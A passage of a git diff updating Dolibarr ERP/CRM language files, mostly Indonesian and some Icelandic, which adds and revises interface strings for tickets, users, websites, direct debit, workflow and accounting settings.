TicketCloseEmailBodyInfosTrackUrlCustomer=You can consult the history of this ticket by clicking the following link TicketEmailPleaseDoNotReplyToThisEmail=Tolong jangan balas langsung ke email ini! Gunakan tautan untuk membalas ke antarmuka. TicketPublicInfoCreateTicket=Formulir ini memungkinkan Anda untuk merekam tiket dukungan dalam sistem manajemen kami. -TicketPublicPleaseBeAccuratelyDescribe=Tolong jelaskan masalahnya secara akurat. Berikan sebanyak mungkin informasi untuk memungkinkan kami mengidentifikasi permintaan Anda dengan benar. +TicketPublicPleaseBeAccuratelyDescribe=Please accurately describe your question. Provide the most information possible to allow us to correctly identify your request. TicketPublicMsgViewLogIn=Silakan masukkan ID pelacakan tiket TicketTrackId=ID Pelacakan Publik OneOfTicketTrackId=Salah satu ID pelacakan Anda diff --git a/htdocs/langs/id_ID/users.lang b/htdocs/langs/id_ID/users.lang index 3374528f545..6f688ab7e1b 100644 --- a/htdocs/langs/id_ID/users.lang +++ b/htdocs/langs/id_ID/users.lang @@ -47,7 +47,7 @@ RemoveFromGroup=Hapus dari grup PasswordChangedAndSentTo=Kata sandi diubah dan dikirim ke%s . PasswordChangeRequest=Permintaan untuk mengubah kata sandi untuk%s PasswordChangeRequestSent=Permintaan untuk mengubah kata sandi untuk%sdikirim ke%s . -IfLoginExistPasswordRequestSent=Jika login ini adalah akun yang valid, email untuk mengatur ulang kata sandi telah dikirim. +IfLoginExistPasswordRequestSent=If this login is a valid account (with a valid email), an email to reset password has been sent. IfEmailExistPasswordRequestSent=Jika email ini adalah akun yang valid, email untuk mengatur ulang kata sandi telah dikirim. ConfirmPasswordReset=Konfirmasikan setel ulang kata sandi MenuUsersAndGroups=Pengguna & Grup @@ -66,9 +66,9 @@ LinkedToDolibarrUser=Tautan ke pengguna LinkedToDolibarrThirdParty=Tautan ke pihak ketiga CreateDolibarrLogin=Buat pengguna CreateDolibarrThirdParty=Buat pihak ketiga -LoginAccountDisableInDolibarr=Akun dinonaktifkan di Dolibarr. +LoginAccountDisableInDolibarr=Account disabled in Dolibarr +PASSWORDInDolibarr=Password modified in Dolibarr UsePersonalValue=Gunakan nilai pribadi -InternalUser=Pengguna internal ExportDataset_user_1=Pengguna dan propertinya DomainUser=Pengguna domain %s Reactivate=Mengaktifkan kembali @@ -128,3 +128,8 @@ DateLastLogin=Date last login DatePreviousLogin=Date previous login IPLastLogin=IP last login IPPreviousLogin=IP previous login +ShowAllPerms=Show all permission rows +HideAllPerms=Hide all permission rows +UserPublicPageDesc=You can enable a virtual card for this user. An url with the user profile and a barcode will be available to allow anybody with a smartphone to scan it and add your contact to its address book. +EnablePublicVirtualCard=Enable the public virtual user card +PublicVirtualCardUrl=Public virtual user card diff --git a/htdocs/langs/id_ID/website.lang b/htdocs/langs/id_ID/website.lang index 2066e8a15bd..a08d336592e 100644 --- a/htdocs/langs/id_ID/website.lang +++ b/htdocs/langs/id_ID/website.lang @@ -1,5 +1,6 @@ # Dolibarr language file - Source file is en_US - website Shortname=Kode +WebsiteName=Name of the website WebsiteSetupDesc=Buat di sini situs web yang ingin Anda gunakan. Kemudian masuk ke menu Website untuk mengeditnya. DeleteWebsite=Hapus situs web ConfirmDeleteWebsite=Anda yakin ingin menghapus situs web ini? Semua halaman dan kontennya juga akan dihapus. File yang diunggah (seperti ke direktori media, modul ECM, ...) akan tetap ada. @@ -15,9 +16,9 @@ WEBSITE_HTML_HEADER=Tambahan di bagian bawah Header HTML (umum untuk semua halam WEBSITE_ROBOT=File robot (robots.txt) WEBSITE_HTACCESS=File .htaccess situs web WEBSITE_MANIFEST_JSON=File manifest.json situs web -WEBSITE_README=File README.md WEBSITE_KEYWORDSDesc=Gunakan koma untuk memisahkan nilai -EnterHereLicenseInformation=Masukkan di sini data meta atau informasi lisensi untuk memfilter file README.md. jika Anda mendistribusikan situs web Anda sebagai templat, file tersebut akan dimasukkan ke dalam paket temptate. +EnterHereReadmeInformation=Enter here a description of the website. If you distribute your website as a template, the file will be included into the temptate package. +EnterHereLicenseInformation=Enter here the LICENSE of the code of the website. If you distribute your website as a template, the file will be included into the temptate package. HtmlHeaderPage=Header HTML (khusus untuk halaman ini saja) PageNameAliasHelp=Nama atau alias halaman.
      Alias ini juga digunakan untuk memalsukan URL SEO ketika situs web dijalankan dari host virtual server Web (seperti Apacke, Nginx, ...). Gunakan tombol " %s " untuk mengedit alias ini. EditTheWebSiteForACommonHeader=Catatan: Jika Anda ingin menentukan tajuk yang dipersonalisasi untuk semua halaman, edit tajuk di tingkat situs alih-alih pada halaman / wadah. @@ -42,10 +43,12 @@ ViewPageInNewTab=Lihat halaman di tab baru SetAsHomePage=Setel sebagai homepage RealURL=URL asli ViewWebsiteInProduction=Lihat situs web menggunakan URL beranda +Virtualhost=Virtual host or domain name +VirtualhostDesc=The name of the Virtual host or domain (For example: www.mywebsite.com, mybigcompany.net, ...) SetHereVirtualHost= Gunakan dengan Apache / NGinx /...
      Buat di server web Anda (Apache, Nginx, ...) Host Virtual khusus dengan PHP yang diaktifkan dan direktori Root pada
      %s ExampleToUseInApacheVirtualHostConfig=Contoh untuk digunakan dalam pengaturan host virtual Apache: YouCanAlsoTestWithPHPS= Gunakan dengan server yang telah tertanam PHP
      Pada lingkungan pengembangan software, Anda dapat memilih untuk menguji situs dengan server web yang tertanam PHP (PHP 5.5 diperlukan) dengan menjalankan
      php -S 0.0.0.0:8080 -t %s -YouCanAlsoDeployToAnotherWHP= Jalankan situs web Anda dengan penyedia Hosting Dolibarr lain integrasi dengan modul Situs web. Anda dapat menemukan daftar beberapa penyedia hosting Dolibarr di https://saas.dolibarr.org +YouCanAlsoDeployToAnotherWHP=Run your web site with another Dolibarr Hosting provider
      If you don't have a web server like Apache or NGinx available on internet, you can export and import your web site onto another Dolibarr instance provided by another Dolibarr hosting provider that provide full integration with the Website module. You can find a list of some Dolibarr hosting providers on https://saas.dolibarr.org CheckVirtualHostPerms=Periksa juga bahwa pengguna host virtual (misalnya www-data) memiliki izin %s pada file ke
      %s ReadPerm=Baca WritePerm=Menulis @@ -60,7 +63,7 @@ YouCanEditHtmlSourceckeditor=Anda dapat mengedit kode sumber HTML menggunakan to YouCanEditHtmlSource=
      Anda dapat mencantumkan kode PHP ke dalam sumber source ini menggunakan tag <? php?>. Variabel global berikut tersedia: $conf, $db, $mysoc, $user, $website, $websitepage, $weblangs, $pagelangs.

      Anda juga dapat mencantumkan konten dari Halaman/Kontainer lainnya dengan sintaks berikut:
      <?php includeContainer ('alias_kontainer_yang_ingin_dicantumkan');?>

      Anda dapat membuat pengalihkan ke Halaman/Kontainer yang lain dengan sintaks berikut (Catatan: Jangan membuat output konten sebelum dialihkan):
      <?php redirectToContainer ('alias_kontainer_yang_ingin dialihkan');>

      Untuk menambahkan link ke halaman lain, gunakan sintaks:
      <a href = "alias_halaman_yang_ingin dihubungkan.php">mylink<a>

      Untuk mencantumkan sebuah link untuk diunduh berkas yang disimpan ke dalam direktori dokumen, gunakan document.php wrapper:
      Contoh, untuk sebuah berkas ke dalam dokumen/ecm (perlu login), sintaksnya adalah:
      <a href="/document.php?modulepart=ecm&file=[relative_dir/]filename.ext">
      Untuk sebuah berkas ke dalam dokumen/media (direktori terbuka untuk akses publik), sintaksnya adalah:
      <a href="/document.php?modulepart=medias&file=[relative_dir/]filename.ext">
      Untuk berkas yang dibagikan dengan tautan berbagi (akses terbuka menggunakan pembagian kunci hash berkas), sintaksnya adalah:
      <a href="/document.php?hashp=publicsharekeyoffile">

      untuk mencantumkan gambar yang disimpan ke dalam direktori dokumen, gunakan viewimage.php wrapper:
      Contoh, untuk sebuah gambar ke dalam dokumen/media (direktori terbuka untuk akses publik), sintaksnya adalah:
      <img src="/viewimage.php?modulepart=medias&file=[relative_dir/]filename.ext">
      #YouCanEditHtmlSource2=
      To include a image shared publicaly, use the viewimage.php wrapper:
      Example with a shared key 123456789, syntax is:
      <img src="/viewimage.php?hashp=12345679012...">
      YouCanEditHtmlSource2=Untuk gambar yang dibagikan dengan tautan berbagi (akses terbuka menggunakan kunci hash berbagi file), sintaksnya adalah:
      <img src = "/ viewimage.php? -YouCanEditHtmlSourceMore=
      Lebih banyak contoh HTML atau kode dinamis yang tersedia di dokumentasi wiki
      . +YouCanEditHtmlSourceMore=
      More examples of HTML or dynamic code available on the wiki documentation
      . ClonePage=Halaman / wadah klon CloneSite=Situs klon SiteAdded=Situs web ditambahkan @@ -137,7 +140,7 @@ PagesRegenerated=%s halaman / wadah dibuat ulang RegenerateWebsiteContent=Regenerasi file cache situs web AllowedInFrames=Diizinkan dalam Bingkai DefineListOfAltLanguagesInWebsiteProperties=Tentukan daftar semua bahasa yang tersedia ke dalam properti situs web. -GenerateSitemaps=Hasilkan file peta situs situs web +GenerateSitemaps=Generate website sitemap.xml file ConfirmGenerateSitemaps=Jika Anda mengonfirmasi, Anda akan menghapus file peta situs yang ada... ConfirmSitemapsCreation=Konfirmasi pembuatan peta situs SitemapGenerated=File peta situs %s dihasilkan @@ -145,3 +148,10 @@ ImportFavicon=Favicon ErrorFaviconType=Favicon harus png ErrorFaviconSize=Favicon harus berukuran 16x16, 32x32 atau 64x64 FaviconTooltip=Unggah gambar yang harus png (16x16, 32x32 atau 64x64) +NextContainer=Next page/container +PreviousContainer=Previous page/container +WebsiteMustBeDisabled=The website must have the status "%s" +WebpageMustBeDisabled=The web page must have the status "%s" +SetWebsiteOnlineBefore=When website is offline, all pages are offline. Change status of website first. +Booking=Booking +Reservation=Reservation diff --git a/htdocs/langs/id_ID/withdrawals.lang b/htdocs/langs/id_ID/withdrawals.lang index 38d0b35743f..d7f7a232526 100644 --- a/htdocs/langs/id_ID/withdrawals.lang +++ b/htdocs/langs/id_ID/withdrawals.lang @@ -31,8 +31,9 @@ SupplierInvoiceWaitingWithdraw=Faktur vendor menunggu pembayaran dengan transfer InvoiceWaitingWithdraw=Faktur menunggu debit langsung InvoiceWaitingPaymentByBankTransfer=Faktur menunggu transfer kredit AmountToWithdraw=Jumlah yang harus ditarik +AmountToTransfer=Amount to transfer NoInvoiceToWithdraw=Tidak ada faktur terbuka untuk '%s' sedang menunggu. Buka tab '%s' pada kartu faktur untuk mengajukan permintaan. -NoSupplierInvoiceToWithdraw=Tidak ada faktur pemasok dengan 'Permintaan kredit langsung' terbuka sedang menunggu. Buka tab '%s' pada kartu faktur untuk mengajukan permintaan. +NoSupplierInvoiceToWithdraw=No supplier invoice with open '%s' is waiting. Go on tab '%s' on invoice card to make a request. ResponsibleUser=Pengguna Bertanggung Jawab WithdrawalsSetup=Setup pembayaran debit langsung CreditTransferSetup=Pengaturan transfer kredit @@ -41,6 +42,7 @@ CreditTransferStatistics=Statistik transfer kredit Rejects=Tolak LastWithdrawalReceipt=Tanda terima debit langsung %s terbaru MakeWithdrawRequest=Buat permintaan pembayaran debit langsung +MakeWithdrawRequestStripe=Make a direct debit payment request via Stripe MakeBankTransferOrder=Buat Permintaan Transfer Kredit WithdrawRequestsDone=%s permintaan pembayaran debit langsung dicatat BankTransferRequestsDone=%s permintaan transfer kredit dicatat @@ -99,8 +101,11 @@ CreditDate=Kredit aktif WithdrawalFileNotCapable=Tidak dapat membuat file tanda terima penarikan untuk negara Anda %s (Negara Anda tidak didukung) ShowWithdraw=Tampilkan Pesanan Debit Langsung IfInvoiceNeedOnWithdrawPaymentWontBeClosed=Namun, jika faktur memiliki setidaknya satu pesanan pembayaran debit langsung belum diproses, itu tidak akan ditetapkan sebagai dibayar untuk memungkinkan manajemen penarikan sebelumnya. -DoStandingOrdersBeforePayments=Tab ini memungkinkan Anda untuk meminta pesanan pembayaran debit langsung. Setelah selesai, masuk ke menu Bank->Pembayaran dengan debit langsung untuk menghasilkan dan mengelola pesanan debit langsung. Ketika pesanan debit langsung ditutup, pembayaran pada faktur akan secara otomatis dicatat, dan faktur ditutup jika sisa untuk membayar adalah nol. -DoCreditTransferBeforePayments=Tab ini memungkinkan Anda untuk meminta pesanan transfer kredit. Setelah selesai, masuk ke menu Bank->Pembayaran dengan transfer kredit untuk menghasilkan dan mengelola pesanan transfer kredit. Ketika pesanan transfer kredit ditutup, pembayaran pada faktur akan secara otomatis dicatat, dan faktur ditutup jika sisa untuk dibayarkan adalah nol. +DoStandingOrdersBeforePayments=This tab allows you to request a direct debit payment order. Once done, you can go into menu "Bank->Payment by direct debit" to generate and manage a Direct debit order file. +DoStandingOrdersBeforePayments2=You can also send a request directly to a SEPA payment processor like Stripe, ... +DoStandingOrdersBeforePayments3=When direct debit order is closed, payment on invoices will be automatically recorded, and invoices closed if remainder to pay is null. +DoCreditTransferBeforePayments=This tab allows you to request a credit transfer order. Once done, go into menu "Bank->Payment by credit transfer" to generate and manage a Credit transfer order file. +DoCreditTransferBeforePayments3=When credit transfer order is closed, payment on invoices will be automatically recorded, and invoices closed if remainder to pay is null. WithdrawalFile=File pesanan debet CreditTransferFile=File transfer kredit SetToStatusSent=Setel ke status "File Terkirim" @@ -117,7 +122,7 @@ WithdrawRequestErrorNilAmount=Tidak dapat membuat permintaan debit langsung untu SepaMandate=Mandat Debit Langsung SEPA SepaMandateShort=Mandat SEPA PleaseReturnMandate=Silakan kembalikan formulir mandat ini melalui email ke %s atau melalui email ke -SEPALegalText=By signing this mandate form, you authorize (A) %s to send instructions to your bank to debit your account and (B) your bank to debit your account in accordance with the instructions from %s. As part of your rights, you are entitled to a refund from your bank under the terms and conditions of your agreement with your bank. Your rights regarding the above mandate are explained in a statement that you can obtain from your bank. +SEPALegalText=By signing this mandate form, you authorize (A) %s and its payment service provider to send instructions to your bank to debit your account and (B) your bank to debit your account in accordance with the instructions from %s. As part of your rights, you are entitled to a refund from your bank under the terms and conditions of your agreement with your bank. Your rights regarding the above mandate are explained in a statement that you can obtain from your bank. CreditorIdentifier=Pengidentifikasi Kreditor CreditorName=Nama Kreditor SEPAFillForm=(B) Silakan isi semua kolom bertanda * @@ -136,6 +141,7 @@ SEPAFRST=SEPA FRST ExecutionDate=Tanggal eksekusi CreateForSepa=Buat berkas debet langsung ICS=Pengenal Kreditur - ICS +IDS=Debitor Identifier END_TO_END=Tag XML SEPA "EndToEndId" - Id unik yang ditetapkan untuk setiap transaksi USTRD=Tag XML SEPA "Tidak Terstruktur" ADDDAYS=Tambahkan hari ke Tanggal Eksekusi @@ -154,3 +160,4 @@ ErrorICSmissing=ICS hilang di rekening Bank %s TotalAmountOfdirectDebitOrderDiffersFromSumOfLines=Jumlah total pesanan debit langsung berbeda dari jumlah baris WarningSomeDirectDebitOrdersAlreadyExists=Warning: There is already some pending Direct Debit orders (%s) requested for an amount of %s WarningSomeCreditTransferAlreadyExists=Warning: There is already some pending Credit Transfer (%s) requested for an amount of %s +UsedFor=Used for %s diff --git a/htdocs/langs/id_ID/workflow.lang b/htdocs/langs/id_ID/workflow.lang index e03e5d5bab4..e33a89e1b0a 100644 --- a/htdocs/langs/id_ID/workflow.lang +++ b/htdocs/langs/id_ID/workflow.lang @@ -7,6 +7,7 @@ descWORKFLOW_PROPAL_AUTOCREATE_ORDER=Secara otomatis membuat pesanan penjualan s descWORKFLOW_PROPAL_AUTOCREATE_INVOICE=Secara otomatis membuat faktur pelanggan setelah proposal komersial ditandatangani (faktur baru akan memiliki jumlah yang sama dengan proposal) descWORKFLOW_CONTRACT_AUTOCREATE_INVOICE=Secara otomatis membuat faktur pelanggan setelah kontrak divalidasi descWORKFLOW_ORDER_AUTOCREATE_INVOICE=Secara otomatis membuat faktur pelanggan setelah pesanan penjualan ditutup (faktur baru akan memiliki jumlah yang sama dengan pesanan) +descWORKFLOW_TICKET_CREATE_INTERVENTION=On ticket creation, automatically create an intervention. # Autoclassify customer proposal or order descWORKFLOW_ORDER_CLASSIFY_BILLED_PROPAL=Klasifikasi sumber proposal tautan sebagai tertagih saat pesanan penjualan ditetapkan ke tagihan (dan jika jumlah pesanan sama dengan jumlah total proposal tautan yang ditandatangani) descWORKFLOW_INVOICE_CLASSIFY_BILLED_PROPAL=Klasifikasi sumber proposal tautan sebagai tertagih saat faktur pelanggan divalidasi (dan jika jumlah faktur sama dengan jumlah total proposal tautan yang ditandatangani) @@ -14,13 +15,22 @@ descWORKFLOW_INVOICE_AMOUNT_CLASSIFY_BILLED_ORDER=Klasifikasi sumber pesanan pen descWORKFLOW_INVOICE_CLASSIFY_BILLED_ORDER=Klasifikasi sumber pesanan penjualan tautan sebagai tertagih saat faktur pelanggan ditetapkan untuk dibayar (dan jika jumlah faktur sama dengan jumlah total pesanan tautan) descWORKFLOW_ORDER_CLASSIFY_SHIPPED_SHIPPING=Klasifikasi sumber pesanan penjualan sumber tautan sebagai terkirim saat pengiriman divalidasi (dan jika jumlah yang dikirim oleh semua pengiriman sama dengan yang ada dalam pemesanan yan diperbaharui) descWORKFLOW_ORDER_CLASSIFY_SHIPPED_SHIPPING_CLOSED=Klasifikasikan pesanan penjualan sumber tertaut sebagai dikirim saat pengiriman ditutup (dan jika jumlah yang dikirim oleh semua pengiriman sama dengan pesanan untuk diperbarui) -# Autoclassify purchase order +# Autoclassify purchase proposal descWORKFLOW_ORDER_CLASSIFY_BILLED_SUPPLIER_PROPOSAL=Klasifikasi sumber proposal vendor tautan sebagai tertagih ketika faktur vendor divalidasi (dan jika jumlah faktur sama dengan jumlah total proposal tautan) +# Autoclassify purchase order descWORKFLOW_INVOICE_AMOUNT_CLASSIFY_BILLED_SUPPLIER_ORDER=Klasifikasi sumber pesanan pembelian tautan sebagai tertagih saat faktur vendor divalidasi (dan jika jumlah faktur sama dengan jumlah total pesanan tautan) -descWORKFLOW_BILL_ON_RECEPTION=Klasifikasikan penerimaan menjadi "ditagih" ketika pesanan pemasok terkait divalidasi +descWORKFLOW_ORDER_CLASSIFY_RECEIVED_RECEPTION=Classify linked source purchase order as received when a reception is validated (and if the quantity received by all receptions is the same as in the purchase order to update) +descWORKFLOW_ORDER_CLASSIFY_RECEIVED_RECEPTION_CLOSED=Classify linked source purchase order as received when a reception is closed (and if the quantity received by all rceptions is the same as in the purchase order to update) +# Autoclassify purchase invoice +descWORKFLOW_EXPEDITION_CLASSIFY_CLOSED_INVOICE=Classify receptions to "billed" when a linked purchase invoice is validated (and if the amount of the invoice is the same as the total amount of the linked receptions) +# Automatically link ticket to contract +descWORKFLOW_TICKET_LINK_CONTRACT=When creating a ticket, link available contracts of matching thirdparty +descWORKFLOW_TICKET_USE_PARENT_COMPANY_CONTRACTS=When linking contracts, search among those of parents companies # Autoclose intervention descWORKFLOW_TICKET_CLOSE_INTERVENTION=Tutup semua intervensi yang terkait dengan tiket saat tiket ditutup AutomaticCreation=Pembuatan Otomatis AutomaticClassification=Pengklasifikasian Otomatis # Autoclassify shipment -descWORKFLOW_SHIPPING_CLASSIFY_CLOSED_INVOICE=Klasifikasikan pengiriman sumber tertaut sebagai ditutup ketika faktur pelanggan divalidasi +descWORKFLOW_SHIPPING_CLASSIFY_CLOSED_INVOICE=Classify linked source shipment as closed when customer invoice is validated (and if the amount of the invoice is the same as the total amount of the linked shipments) +AutomaticClosing=Automatic closing +AutomaticLinking=Automatic linking diff --git a/htdocs/langs/is_IS/accountancy.lang b/htdocs/langs/is_IS/accountancy.lang index 527cbcc8e22..bda8f4ce61b 100644 --- a/htdocs/langs/is_IS/accountancy.lang +++ b/htdocs/langs/is_IS/accountancy.lang @@ -48,8 +48,9 @@ CountriesNotInEEC=Countries not in EEC CountriesInEECExceptMe=Countries in EEC except %s CountriesExceptMe=All countries except %s AccountantFiles=Export source documents -ExportAccountingSourceDocHelp=With this tool, you can export the source events (list in CSV and PDFs) that are used to generate your accountancy. +ExportAccountingSourceDocHelp=With this tool, you can search and export the source events that are used to generate your accountancy.
      The exported ZIP file will contain the lists of requested items in CSV, as well as their attached files in their original format (PDF, ODT, DOCX...). ExportAccountingSourceDocHelp2=To export your journals, use the menu entry %s - %s. +ExportAccountingProjectHelp=Specify a project if you need an accounting report only for a specific project. Expense reports and loan payments are not included in project reports. VueByAccountAccounting=View by accounting account VueBySubAccountAccounting=View by accounting subaccount @@ -58,28 +59,29 @@ MainAccountForSuppliersNotDefined=Main accounting account for vendors not define MainAccountForUsersNotDefined=Main accounting account for users not defined in setup MainAccountForVatPaymentNotDefined=Main accounting account for VAT payment not defined in setup MainAccountForSubscriptionPaymentNotDefined=Main accounting account for subscription payment not defined in setup +UserAccountNotDefined=Accounting account for user not defined in setup AccountancyArea=Accounting area AccountancyAreaDescIntro=Usage of the accountancy module is done in several step: AccountancyAreaDescActionOnce=The following actions are usually executed one time only, or once per year... -AccountancyAreaDescActionOnceBis=Next steps should be done to save you time in future by suggesting you the correct default accounting account when making the journalization (writing record in Journals and General ledger) +AccountancyAreaDescActionOnceBis=Next steps should be done to save you time in future by suggesting you automaticaly the correct default accounting account when transferring data in accounting AccountancyAreaDescActionFreq=The following actions are usually executed every month, week or day for very large companies... -AccountancyAreaDescJournalSetup=STEP %s: Create or check content of your journal list from menu %s +AccountancyAreaDescJournalSetup=STEP %s: Check content of your journal list from menu %s AccountancyAreaDescChartModel=STEP %s: Check that a model of chart of account exists or create one from menu %s AccountancyAreaDescChart=STEP %s: Select and|or complete your chart of account from menu %s AccountancyAreaDescVat=STEP %s: Define accounting accounts for each VAT Rates. For this, use the menu entry %s. AccountancyAreaDescDefault=STEP %s: Define default accounting accounts. For this, use the menu entry %s. -AccountancyAreaDescExpenseReport=STEP %s: Define default accounting accounts for each type of expense report. For this, use the menu entry %s. +AccountancyAreaDescExpenseReport=STEP %s: Define default accounting accounts for each type of Expense report. For this, use the menu entry %s. AccountancyAreaDescSal=STEP %s: Define default accounting accounts for payment of salaries. For this, use the menu entry %s. -AccountancyAreaDescContrib=STEP %s: Define default accounting accounts for special expenses (miscellaneous taxes). For this, use the menu entry %s. +AccountancyAreaDescContrib=STEP %s: Define default accounting accounts for Taxes (special expenses). For this, use the menu entry %s. AccountancyAreaDescDonation=STEP %s: Define default accounting accounts for donation. For this, use the menu entry %s. AccountancyAreaDescSubscription=STEP %s: Define default accounting accounts for member subscription. For this, use the menu entry %s. AccountancyAreaDescMisc=STEP %s: Define mandatory default account and default accounting accounts for miscellaneous transactions. For this, use the menu entry %s. AccountancyAreaDescLoan=STEP %s: Define default accounting accounts for loans. For this, use the menu entry %s. AccountancyAreaDescBank=STEP %s: Define accounting accounts and journal code for each bank and financial accounts. For this, use the menu entry %s. -AccountancyAreaDescProd=STEP %s: Define accounting accounts on your products/services. For this, use the menu entry %s. +AccountancyAreaDescProd=STEP %s: Define accounting accounts on your Products/Services. For this, use the menu entry %s. AccountancyAreaDescBind=STEP %s: Check the binding between existing %s lines and accounting account is done, so application will be able to journalize transactions in Ledger in one click. Complete missing bindings. For this, use the menu entry %s. AccountancyAreaDescWriteRecords=STEP %s: Write transactions into the Ledger. For this, go into menu %s, and click into button %s. @@ -112,7 +114,7 @@ MenuAccountancyClosure=Closure MenuAccountancyValidationMovements=Validate movements ProductsBinding=Products accounts TransferInAccounting=Transfer in accounting -RegistrationInAccounting=Registration in accounting +RegistrationInAccounting=Recording in accounting Binding=Binding to accounts CustomersVentilation=Customer invoice binding SuppliersVentilation=Vendor invoice binding @@ -120,7 +122,7 @@ ExpenseReportsVentilation=Expense report binding CreateMvts=Create new transaction UpdateMvts=Modification of a transaction ValidTransaction=Validate transaction -WriteBookKeeping=Register transactions in accounting +WriteBookKeeping=Record transactions in accounting Bookkeeping=Ledger BookkeepingSubAccount=Subledger AccountBalance=Account balance @@ -161,41 +163,46 @@ BANK_DISABLE_DIRECT_INPUT=Disable direct recording of transaction in bank accoun ACCOUNTING_ENABLE_EXPORT_DRAFT_JOURNAL=Enable draft export on journal ACCOUNTANCY_COMBO_FOR_AUX=Enable combo list for subsidiary account (may be slow if you have a lot of third parties, break ability to search on a part of value) ACCOUNTING_DATE_START_BINDING=Define a date to start binding & transfer in accountancy. Below this date, the transactions will not be transferred to accounting. -ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=On accountancy transfer, select period show by default +ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=On accountancy transfer, what is the period selected by default -ACCOUNTING_SELL_JOURNAL=Sell journal -ACCOUNTING_PURCHASE_JOURNAL=Purchase journal -ACCOUNTING_MISCELLANEOUS_JOURNAL=Miscellaneous journal +ACCOUNTING_SELL_JOURNAL=Sales journal (sales and returns) +ACCOUNTING_PURCHASE_JOURNAL=Purchase journal (purchase and returns) +ACCOUNTING_BANK_JOURNAL=Cash journal (receipts and disbursements) ACCOUNTING_EXPENSEREPORT_JOURNAL=Expense report journal -ACCOUNTING_SOCIAL_JOURNAL=Social journal +ACCOUNTING_MISCELLANEOUS_JOURNAL=General journal ACCOUNTING_HAS_NEW_JOURNAL=Has new Journal +ACCOUNTING_INVENTORY_JOURNAL=Inventory journal +ACCOUNTING_SOCIAL_JOURNAL=Social journal ACCOUNTING_RESULT_PROFIT=Result accounting account (Profit) ACCOUNTING_RESULT_LOSS=Result accounting account (Loss) ACCOUNTING_CLOSURE_DEFAULT_JOURNAL=Journal of closure -ACCOUNTING_ACCOUNT_TRANSFER_CASH=Accounting account of transitional bank transfer +ACCOUNTING_ACCOUNT_TRANSFER_CASH=Account (from the Chart Of Account) to be used as the account for transitional bank transfers TransitionalAccount=Transitional bank transfer account -ACCOUNTING_ACCOUNT_SUSPENSE=Accounting account of wait -DONATION_ACCOUNTINGACCOUNT=Accounting account to register donations -ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Accounting account to register subscriptions +ACCOUNTING_ACCOUNT_SUSPENSE=Account (from the Chart Of Account) to be used as the account for unallocated funds either received or paid i.e. funds in "wait[ing]" +DONATION_ACCOUNTINGACCOUNT=Account (from the Chart Of Account) to be used to register donations (Donation module) +ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Account (from the Chart Of Account) to be used to register memberships subscriptions (Membership module - if membership recorded without invoice) -ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Accounting account by default to register customer deposit +ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Account (from the Chart Of Account) to be used as the default account to register customer deposit +UseAuxiliaryAccountOnCustomerDeposit=Store customer account as individual account in subsidiary ledger for lines of down payments (if disabled, individual account for down payment lines will remain empty) +ACCOUNTING_ACCOUNT_SUPPLIER_DEPOSIT=Account (from the Chart Of Account) to be used as the default +UseAuxiliaryAccountOnSupplierDeposit=Store supplier account as individual account in subsidiary ledger for lines of down payments (if disabled, individual account for down payment lines will remain empty) -ACCOUNTING_PRODUCT_BUY_ACCOUNT=Accounting account by default for the bought products (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Accounting account by default for the bought products in EEC (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Accounting account by default for the bought products and imported out of EEC (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Accounting account by default for the sold products (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Accounting account by default for the products sold in EEC (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Accounting account by default for the products sold and exported out of EEC (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased within same country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased from EEC to another EEC country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased and imported from any other foreign country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the sold products (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products sold from EEC to another EEC country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products sold and exported to any other foreign country (used if not defined in the product sheet) -ACCOUNTING_SERVICE_BUY_ACCOUNT=Accounting account by default for the bought services (used if not defined in the service sheet) -ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Accounting account by default for the bought services in EEC (used if not defined in the service sheet) -ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Accounting account by default for the bought services and imported out of EEC (used if not defined in the service sheet) -ACCOUNTING_SERVICE_SOLD_ACCOUNT=Accounting account by default for the sold services (used if not defined in the service sheet) -ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Accounting account by default for the services sold in EEC (used if not defined in the service sheet) -ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Accounting account by default for the services sold and exported out of EEC (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased within same country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased from EEC to another EEC country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased and imported from other foreign country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the sold services (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services sold from EEC to another EEC country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services sold and exported to any other foreign country (used if not 